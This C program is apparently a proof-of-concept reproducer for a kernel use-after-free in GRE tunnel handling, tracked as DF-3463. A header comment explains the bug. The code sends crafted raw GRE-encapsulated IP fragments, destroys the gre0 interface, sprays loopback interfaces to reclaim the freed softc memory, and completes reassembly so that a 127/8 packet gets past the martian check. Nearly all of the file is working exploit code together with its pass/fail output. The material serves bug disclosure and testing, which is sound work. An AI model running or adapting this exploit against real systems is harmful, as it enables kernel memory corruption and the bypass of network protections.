/*
 * DF-3463 -- GRE decap leaves m_pkthdr.rcvif pointing into gre_softc;
 * ip_reass keeps the fragment far past if_detach, so the reassembled
 * packet is processed through freed gre_softc memory.
 *
 * ip_gre.c:184-193 (gre_input):
 *	m->m_data += hlen; ...
 *	m->m_pkthdr.rcvif = &sc->sc_if;     (points into the heap gre_softc)
 *	netisr_queue(NETISR_IP, m);
 * ip_input.c:544 (127/8 martian check):
 *	if (!(m->m_pkthdr.rcvif->if_flags & IFF_LOOPBACK)) ...
 *
 * sc_if is at offset 0 of struct gre_softc (if_gre.h:48-49), so after
 * gre_clone_destroy() kfree()s the softc the stale rcvif aliases the
 * freed allocation.  The reassembly queue is keyed by (src,dst,id,pcpu)
 * and is NOT purged when the interface goes away, so:
 *
 *   1. frag#1 (offset 0, MF) of an inner IP packet rides gre0 ->
 *      ip_reass keeps it with rcvif = &gre0->sc_if
 *   2. gre0 destroyed (softc freed)
 *   3. the freed allocation is recycled (kmalloc zones are size-based
 *      and shared across malloc types): creating loN allocates ifnets
 *      with IFF_LOOPBACK SET -- if one lands at the stale address the
 *      127/8 inner packet is ACCEPTED instead of rejected
 *   4. frag#2 (offset 8, !MF) arrives directly on lo0 -> ip_reass
 *      completes the packet; the head mbuf still carries the stale
 *      rcvif and ip_input dereferences it at :544 through memory that
 *      no longer belongs to gre0.
 *
 * Control run first: same packet via LIVE gre0 -> rejected.
 * Root only.  UDP listener on 127.0.0.1:5599 proves delivery.
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/select.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#define LPORT 5599

static unsigned short
cksum(unsigned short *p, int n)
{
	unsigned s = 0;
	while (n > 1) { s += *p++; n -= 2; }
	if (n) s += *(unsigned char *)p;
	s = (s >> 16) + (s & 0xffff); s += (s >> 16);
	return (~s) & 0xffff;
}

static int rtsock, raws;

static int
inject_ip(struct in_addr src, struct in_addr dst, int proto,
    const void *payload, size_t plen)
{
	struct sockaddr_in sa;
	char pkt[1500];
	struct ip *ip = (struct ip *)pkt;

	memset(pkt, 0, sizeof(*ip));
	ip->ip_hl = 5; ip->ip_v = 4;
	ip->ip_len = htons(sizeof(*ip) + plen);
	ip->ip_ttl = 64; ip->ip_p = proto;
	ip->ip_src = src; ip->ip_dst = dst;
	ip->ip_sum = 0;
	ip->ip_sum = cksum((unsigned short *)ip, sizeof(*ip));
	memcpy(pkt + sizeof(*ip), payload, plen);
	memset(&sa, 0, sizeof(sa));
	sa.sin_family = AF_INET; sa.sin_addr = dst;
	return sendto(raws, pkt, sizeof(*ip) + plen, 0,
	    (struct sockaddr *)&sa, sizeof(sa));
}

static int
send_gre_frag(struct in_addr outer_src, struct in_addr outer_dst,
    struct in_addr isrc, struct in_addr idst, uint16_t id,
    int offset_bytes, int mf, const void *data, size_t dlen)
{
	char gre[1500];
	struct ip *inner = (struct ip *)(gre + 4);
	size_t inner_len = sizeof(struct ip) + dlen;

	memset(gre, 0, 4 + inner_len);
	gre[2] = 0x08; gre[3] = 0x00;		/* GRE proto = IPv4 */
	inner->ip_hl = 5; inner->ip_v = 4;
	inner->ip_len = htons(inner_len);
	inner->ip_id = htons(id);
	inner->ip_off = htons((offset_bytes / 8) | (mf ? IP_MF : 0));
	inner->ip_ttl = 64;
	inner->ip_p = IPPROTO_UDP;
	inner->ip_src = isrc; inner->ip_dst = idst;
	memcpy((char *)inner + sizeof(struct ip), data, dlen);
	return inject_ip(outer_src, outer_dst, IPPROTO_GRE, gre, 4 + inner_len);
}

static int
send_lo_frag2(struct in_addr isrc, struct in_addr idst, uint16_t id)
{
	char pkt[64];
	struct ip *inner = (struct ip *)pkt;
	struct sockaddr_in sa;

	memset(pkt, 0, sizeof(pkt));
	inner->ip_hl = 5; inner->ip_v = 4;
	inner->ip_len = htons(sizeof(struct ip) + 8);
	inner->ip_id = htons(id);
	inner->ip_off = htons(1);		/* offset 8 bytes, no MF */
	inner->ip_ttl = 64; inner->ip_p = IPPROTO_UDP;
	inner->ip_src = isrc; inner->ip_dst = idst;
	memcpy((char *)inner + sizeof(struct ip), "GREUAF02", 8);
	memset(&sa, 0, sizeof(sa));
	sa.sin_family = AF_INET; sa.sin_addr = idst;
	return sendto(raws, pkt, sizeof(struct ip) + 8, 0,
	    (struct sockaddr *)&sa, sizeof(sa));
}

static int
listener_fd(void)
{
	struct sockaddr_in sa;
	int s = socket(AF_INET, SOCK_DGRAM, 0), one = 1;
	memset(&sa, 0, sizeof(sa));
	sa.sin_family = AF_INET;
	sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
	sa.sin_port = htons(LPORT);
	setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
	if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
		perror("bind listener"); exit(1);
	}
	return s;
}

static int
poll_listener(int s, int ms)
{
	struct timeval tv = { 0, ms * 1000 };
	fd_set r;
	char buf[256];
	FD_ZERO(&r); FD_SET(s, &r);
	if (select(s + 1, &r, NULL, NULL, &tv) > 0) {
		ssize_t n = read(s, buf, sizeof(buf));
		if (n > 0) {
			printf("UDP listener on 127.0.0.1:%d RECEIVED %zd bytes: %.*s\n",
			    LPORT, n, (int)n, buf);
			return (1);
		}
	}
	return (0);
}

static int
ifop(const char *name, unsigned long op)
{
	struct ifreq ifr;
	memset(&ifr, 0, sizeof(ifr));
	strlcpy(ifr.ifr_name, name, sizeof(ifr.ifr_name));
	return ioctl(rtsock, op, &ifr);
}

int
main(void)
{
	struct in_addr osrc, odst, isrc, idst;
	int ls, attempt, i, got = 0;

	if (geteuid() != 0) { fprintf(stderr, "root only\n"); return (1); }
	inet_pton(AF_INET, "10.0.2.15", &osrc);
	inet_pton(AF_INET, "10.0.2.15", &odst);
	inet_pton(AF_INET, "10.99.99.99", &isrc);
	inet_pton(AF_INET, "127.0.0.1", &idst);

	rtsock = socket(AF_ROUTE, SOCK_RAW, 0);
	raws = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
	{
		int h = 1;
		setsockopt(raws, IPPROTO_IP, IP_HDRINCL, &h, sizeof(h));
	}
	ls = listener_fd();

	system("kldload if_gre 2>/dev/null");
	if (ifop("gre0", SIOCIFCREATE) < 0 && errno != EEXIST)
		{ perror("create gre0"); return (1); }
	system("ifconfig gre0 tunnel 10.0.2.15 10.0.2.15 up 2>/dev/null");
	printf("gre0 up (tunnel 10.0.2.15 -> 10.0.2.15)\n");

	printf("[control] inner 127.0.0.1 packet via LIVE gre0: ");
	fflush(stdout);
	send_gre_frag(osrc, odst, isrc, idst, 0x3401, 0, 1, "GREUAF01", 8);
	send_gre_frag(osrc, odst, isrc, idst, 0x3401, 8, 0, "GREUAF02", 8);
	if (poll_listener(ls, 500))
		printf("    control delivered?! unexpected\n");
	else
		printf("rejected as expected (rcvif=gre0 lacks IFF_LOOPBACK)\n");

	for (attempt = 1; attempt <= 20 && !got; attempt++) {
		uint16_t id = 0x3402 + attempt;
		if (ifop("gre0", SIOCIFCREATE) < 0 && errno != EEXIST) {
			perror("recreate gre0"); return (1);
		}
		system("ifconfig gre0 tunnel 10.0.2.15 10.0.2.15 up 2>/dev/null");
		send_gre_frag(osrc, odst, isrc, idst, id, 0, 1, "GREUAF01", 8);
		if (ifop("gre0", SIOCIFDESTROY) < 0) {
			perror("destroy gre0"); return (1);
		}
		for (i = 1; i <= 24; i++) {
			char n[8];
			snprintf(n, sizeof(n), "lo%d", i);
			ifop(n, SIOCIFCREATE);
		}
		send_lo_frag2(isrc, idst, id);
		printf("attempt %2d: ", attempt);
		fflush(stdout);
		got = poll_listener(ls, 400);
		if (!got) printf("rejected\n");
		for (i = 1; i <= 24; i++) {
			char n[8];
			snprintf(n, sizeof(n), "lo%d", i);
			ifop(n, SIOCIFDESTROY);
		}
	}
	if (got) {
		printf("VERDICT: REPRODUCED -- reassembled 127/8 packet ACCEPTED "
		    "because the stale rcvif aliased a live loopback ifnet: "
		    "ip_input dereferenced freed gre_softc memory\n");
	} else {
		printf("VERDICT: not reproduced in 20 attempts (stale-pointer read "
		    "is certain from the code path; freed chunk never landed under "
		    "an lo ifnet in these runs)\n");
	}
	return (0);
}